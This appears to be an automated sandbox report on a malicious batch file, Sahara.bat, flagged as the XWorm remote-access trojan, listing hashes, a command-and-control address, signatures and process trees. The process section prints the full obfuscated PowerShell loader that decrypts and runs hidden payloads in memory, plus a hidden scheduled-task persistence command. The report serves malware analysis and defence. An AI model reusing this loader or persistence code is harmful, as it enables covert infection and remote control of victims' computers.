Analysis
- max time kernel
132s - max time network
146s - platform
windows10-2004_x64 - resource
win10v2004-20240508-en - resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system - submitted
07/06/2024, 09:09
Static task
static1
Behavioral task
behavioral1
Sample
Sahara.bat
Resource
win10-20240404-en
9 signatures
150 seconds
Behavioral task
behavioral2
Sample
Sahara.bat
Resource
win7-20240419-en
4 signatures
150 seconds
Behavioral task
behavioral3
Sample
Sahara.bat
Resource
win10v2004-20240508-en
10 signatures
150 seconds
General
- Target Sahara.bat
- Size 304KB
- Sample240607-k4fz2afa92
- SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
- MD5 0315e971e239cdd0ddc7e6b6a69b588f
- SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
- SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
- SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Extracted
Family
-
xworm
C2
-
politics-cathedral.gl.at.ply.gg:13199
Attributes
-
install_file
USB.exe
Signatures
- Detect Xworm Payload 1 IoCs
resource yara_rule behavioral3/memory/2296-49-0x00000284DBC40000-0x00000284DBC5A000-memory.dmp family_xworm - Blocklisted process makes network request 1 IoCs
flow pid Process 35 2296 powershell.exe - Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 2296 powershell.exe 4784 powershell.exe 1520 powershell.exe - Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000\Control Panel\International\Geo\Nation WScript.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-1181767204-2009306918-3718769404-1000_Classes\Local Settings powershell.exe - Suspicious behavior: EnumeratesProcesses 9 IoCs
pid Process 4784 powershell.exe 4784 powershell.exe 4784 powershell.exe 1520 powershell.exe 1520 powershell.exe 1520 powershell.exe 2296 powershell.exe 2296 powershell.exe 2296 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 4784 powershell.exe Token: SeDebugPrivilege 1520 powershell.exe Token: SeIncreaseQuotaPrivilege 1520 powershell.exe Token: SeSecurityPrivilege 1520 powershell.exe Token: SeTakeOwnershipPrivilege 1520 powershell.exe Token: SeLoadDriverPrivilege 1520 powershell.exe Token: SeSystemProfilePrivilege 1520 powershell.exe Token: SeSystemtimePrivilege 1520 powershell.exe Token: SeProfSingleProcessPrivilege 1520 powershell.exe Token: SeIncBasePriorityPrivilege 1520 powershell.exe Token: SeCreatePagefilePrivilege 1520 powershell.exe Token: SeBackupPrivilege 1520 powershell.exe Token: SeRestorePrivilege 1520 powershell.exe Token: SeShutdownPrivilege 1520 powershell.exe Token: SeDebugPrivilege 1520 powershell.exe Token: SeSystemEnvironmentPrivilege 1520 powershell.exe Token: SeRemoteShutdownPrivilege 1520 powershell.exe Token: SeUndockPrivilege 1520 powershell.exe Token: SeManageVolumePrivilege 1520 powershell.exe Token: 33 1520 powershell.exe Token: 34 1520 powershell.exe Token: 35 1520 powershell.exe Token: 36 1520 powershell.exe Token: SeIncreaseQuotaPrivilege 1520 powershell.exe Token: SeSecurityPrivilege 1520 powershell.exe Token: SeTakeOwnershipPrivilege 1520 powershell.exe Token: SeLoadDriverPrivilege 1520 powershell.exe Token: SeSystemProfilePrivilege 1520 powershell.exe Token: SeSystemtimePrivilege 1520 powershell.exe Token: SeProfSingleProcessPrivilege 1520 powershell.exe Token: SeIncBasePriorityPrivilege 1520 powershell.exe Token: SeCreatePagefilePrivilege 1520 powershell.exe Token: SeBackupPrivilege 1520 powershell.exe Token: SeRestorePrivilege 1520 powershell.exe Token: SeShutdownPrivilege 1520 powershell.exe Token: SeDebugPrivilege 1520 powershell.exe Token: SeSystemEnvironmentPrivilege 1520 powershell.exe Token: SeRemoteShutdownPrivilege 1520 powershell.exe Token: SeUndockPrivilege 1520 powershell.exe Token: SeManageVolumePrivilege 1520 powershell.exe Token: 33 1520 powershell.exe Token: 34 1520 powershell.exe Token: 35 1520 powershell.exe Token: 36 1520 powershell.exe Token: SeIncreaseQuotaPrivilege 1520 powershell.exe Token: SeSecurityPrivilege 1520 powershell.exe Token: SeTakeOwnershipPrivilege 1520 powershell.exe Token: SeLoadDriverPrivilege 1520 powershell.exe Token: SeSystemProfilePrivilege 1520 powershell.exe Token: SeSystemtimePrivilege 1520 powershell.exe Token: SeProfSingleProcessPrivilege 1520 powershell.exe Token: SeIncBasePriorityPrivilege 1520 powershell.exe Token: SeCreatePagefilePrivilege 1520 powershell.exe Token: SeBackupPrivilege 1520 powershell.exe Token: SeRestorePrivilege 1520 powershell.exe Token: SeShutdownPrivilege 1520 powershell.exe Token: SeDebugPrivilege 1520 powershell.exe Token: SeSystemEnvironmentPrivilege 1520 powershell.exe Token: SeRemoteShutdownPrivilege 1520 powershell.exe Token: SeUndockPrivilege 1520 powershell.exe Token: SeManageVolumePrivilege 1520 powershell.exe Token: 33 1520 powershell.exe Token: 34 1520 powershell.exe Token: 35 1520 powershell.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 764 wrote to memory of 4784 764 cmd.exe 93 PID 764 wrote to memory of 4784 764 cmd.exe 93 PID 4784 wrote to memory of 1520 4784 powershell.exe 95 PID 4784 wrote to memory of 1520 4784 powershell.exe 95 PID 4784 wrote to memory of 4772 4784 powershell.exe 101 PID 4784 wrote to memory of 4772 4784 powershell.exe 101 PID 4772 wrote to memory of 1812 4772 WScript.exe 102 PID 4772 wrote to memory of 1812 4772 WScript.exe 102 PID 1812 wrote to memory of 2296 1812 cmd.exe 104 PID 1812 wrote to memory of 2296 1812 cmd.exe 104
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Sahara.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:764 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\Sahara.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\Sahara.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));2⤵
- Command and Scripting Interpreter: PowerShell
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4784 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_359_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_359.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1520
-
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_359.vbs"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4772 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_359.bat" "4⤵
- Suspicious use of WriteProcessMemory
PID:1812 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('qqu4mOiag/SUfmMB6hLG+62Qf92QTsfQyXogUMpPguE='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('/gn9tedt3Eg5JrrOt3xo6g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $KmtJB=New-Object System.IO.MemoryStream(,$param_var); $bbJvQ=New-Object System.IO.MemoryStream; $sqWeN=New-Object System.IO.Compression.GZipStream($KmtJB, [IO.Compression.CompressionMode]::Decompress); $sqWeN.CopyTo($bbJvQ); $sqWeN.Dispose(); $KmtJB.Dispose(); $bbJvQ.Dispose(); $bbJvQ.ToArray();}function execute_function($param_var,$param2_var){ $sUVBJ=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $tpSQd=$sUVBJ.EntryPoint; $tpSQd.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_359.bat';$poAvc=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_359.bat').Split([Environment]::NewLine);foreach ($bJGRI in $poAvc) { if ($bJGRI.StartsWith(':: ')) { $UJcon=$bJGRI.Substring(3); break; }}$payloads_var=[string[]]$UJcon.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));5⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2296
-
-
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=4092,i,11266875042087428226,16669718873272757238,262144 --variations-seed-version --mojo-platform-channel-handle=4180 /prefetch:81⤵PID:1632
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 3KB
- SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
- MD5 661739d384d9dfd807a089721202900b
- SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
- SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 61c60aa2e781a7f6ab54577db26d1be6ca3bf40c4c1d29eca48698e8cb5e1a2b
- MD5 f8d49a4af7a844bfc7247d5670def557
- SHA1 26ae0ce194a77a7a1887cf93741293fdfa6c94c4
- SHA512 9e034173b20c85fc63ec88d045ace936af567e52caafe5e5735cf6fd5e72d040b992b38c0490ee9d9e43f6f934695d5913bc7a0c682b36c99e5e2d9923c24a9c
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mbvzru2p.pbm.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\startup_str_359.bat
- Size 304KB
- SHA256 5505e8491812e56bd27242f6598df665db7dfefef6a241280973913b84a903ed
- MD5 0315e971e239cdd0ddc7e6b6a69b588f
- SHA1 ebc3c22a51878f367b9be9685d7782ec9f8daf58
- SHA512 0b11a2f5f5ffed7c67812771464a8edd47440bf6ffb85d7a6d29cbc12f32af5a4f180cd3d479ba4268f16c96432538bdfb86cb36ff73877e69fd822aaa7e95c5
- SSDEEP 6144:AKJ35IN40Z4VEzlQOwTEuAhKEyvXeNFAr47U8p7zZUEoPLoTVqrkGyAyaa/W8ymy:AKJpcW0cE3hGvXgAZAzDokTcMBaaO3my
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\startup_str_359.vbs
- Size 115B
- SHA256 e81af1b5cc744746cedbcd4bee43e14d01ec57252ac3315f901168573cb4c713
- MD5 cfb08c9ad6421454108e224343a63e07
- SHA1 b512dfd96fd2e210716d3fcf75cdca13a3c94719
- SHA512 0ee724550f3f29c870b64d0c6cf88b62f07b729ba501a712ad381f066b48de46eea5e8d8fa20b81e801d0db9436d9817260a17aa834bac41473a8e6f39e7253d
- MD5 SHA1 SHA512